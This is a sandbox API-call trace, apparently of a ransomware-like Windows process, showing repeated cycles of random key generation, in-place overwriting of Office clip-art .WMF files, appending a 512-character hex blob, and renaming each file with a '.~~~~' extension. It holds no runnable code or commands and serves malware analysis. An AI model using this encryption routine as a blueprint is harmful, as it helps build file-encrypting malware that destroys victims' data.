	[0125.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.451] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.451] GetLastError () returned 0x0
	[0125.451] GetLastError () returned 0x0
	[0125.451] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.451] GetLastError () returned 0x0
	[0125.451] GetLastError () returned 0x0
	[0125.466] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe682, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.466] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x197e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x197e, lpOverlapped=0x0) returned 1
	[0125.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.469] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.469] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.469] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.469] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.470] CloseHandle (hObject=0x140) returned 1
	[0125.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0980
	[0125.470] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf.~~~~")) returned 1
	[0125.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0980 | out: hHeap=0x300000) returned 1
	[0125.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.472] GetLastError () returned 0x0
	[0125.472] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.474] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.474] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.474] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24546424499) returned 1
	[0125.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb43f7650, dwHighDateTime=0x1d60e1e)) 
	[0125.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0125.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820e50
	[0125.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820e50 | out: hHeap=0x300000) returned 1
	[0125.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c07b8
	[0125.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.475] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.475] GetLastError () returned 0x0
	[0125.476] GetLastError () returned 0x0
	[0125.476] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.476] GetLastError () returned 0x0
	[0125.476] GetLastError () returned 0x0
	[0125.503] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffbcde, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.503] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x4322, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x4322, lpOverlapped=0x0) returned 1
	[0125.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.505] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.505] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.506] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.506] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.506] CloseHandle (hObject=0x140) returned 1
	[0125.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0390
	[0125.506] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf.~~~~")) returned 1
	[0125.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0390 | out: hHeap=0x300000) returned 1
	[0125.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.507] GetLastError () returned 0x0
	[0125.542] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2a3f2e8) returned 1
	[0125.543] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0125.543] CryptReleaseContext (hProv=0x2a3f2e8, dwFlags=0x0) returned 1
	[0125.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0125.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.544] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24553382334) returned 1
	[0125.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb44b5d30, dwHighDateTime=0x1d60e1e)) 
	[0125.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820f30
	[0125.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820f30 | out: hHeap=0x300000) returned 1
	[0125.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0da8
	[0125.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.545] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.545] GetLastError () returned 0x0
	[0125.545] GetLastError () returned 0x0
	[0125.545] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.545] GetLastError () returned 0x0
	[0125.546] GetLastError () returned 0x0
	[0125.549] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff2504, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.549] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xdafc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xdafc, lpOverlapped=0x0) returned 1
	[0125.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.552] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.552] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.552] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.552] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.552] CloseHandle (hObject=0xc4) returned 1
	[0125.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0da8
	[0125.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf.~~~~")) returned 1
	[0125.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0da8 | out: hHeap=0x300000) returned 1
	[0125.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.555] GetLastError () returned 0x0
	[0125.556] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2a3f2e8) returned 1
	[0125.561] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0125.561] CryptReleaseContext (hProv=0x2a3f2e8, dwFlags=0x0) returned 1
	[0125.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0125.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.562] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24555170664) returned 1
	[0125.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb44dbe90, dwHighDateTime=0x1d60e1e)) 
	[0125.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820fa0
	[0125.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820fa0 | out: hHeap=0x300000) returned 1
	[0125.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0d10
	[0125.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.563] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.563] GetLastError () returned 0x0
	[0125.563] GetLastError () returned 0x0
	[0125.563] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.563] GetLastError () returned 0x0
	[0125.563] GetLastError () returned 0x0
	[0125.567] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff6ac6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.567] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x953a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x953a, lpOverlapped=0x0) returned 1
	[0125.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.570] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.570] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.570] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.570] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.570] CloseHandle (hObject=0xc4) returned 1
	[0125.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0d10
	[0125.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf.~~~~")) returned 1
	[0125.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d10 | out: hHeap=0x300000) returned 1
	[0125.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.572] GetLastError () returned 0x0
	[0125.573] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2a3f2e8) returned 1
	[0125.575] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0125.575] CryptReleaseContext (hProv=0x2a3f2e8, dwFlags=0x0) returned 1
	[0125.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0125.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.575] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24556500489) returned 1
	[0125.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4501ff0, dwHighDateTime=0x1d60e1e)) 
	[0125.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820fd8
	[0125.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820fd8 | out: hHeap=0x300000) returned 1
	[0125.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0ed8
	[0125.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.576] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.576] GetLastError () returned 0x0
	[0125.576] GetLastError () returned 0x0
	[0125.576] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.576] GetLastError () returned 0x0
	[0125.576] GetLastError () returned 0x0
	[0125.579] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe0c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.579] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x1f40, lpOverlapped=0x0) returned 1
	[0125.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.580] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.580] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.581] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.581] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.581] CloseHandle (hObject=0xc4) returned 1
	[0125.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0ed8
	[0125.581] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf.~~~~")) returned 1
	[0125.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0ed8 | out: hHeap=0x300000) returned 1
	[0125.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.583] GetLastError () returned 0x0
	[0125.583] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2a3f2e8) returned 1
	[0125.584] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0125.584] CryptReleaseContext (hProv=0x2a3f2e8, dwFlags=0x0) returned 1
	[0125.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0125.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.585] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24557468565) returned 1
	[0125.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4501ff0, dwHighDateTime=0x1d60e1e)) 
	[0125.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821010
	[0125.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821010 | out: hHeap=0x300000) returned 1
	[0125.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
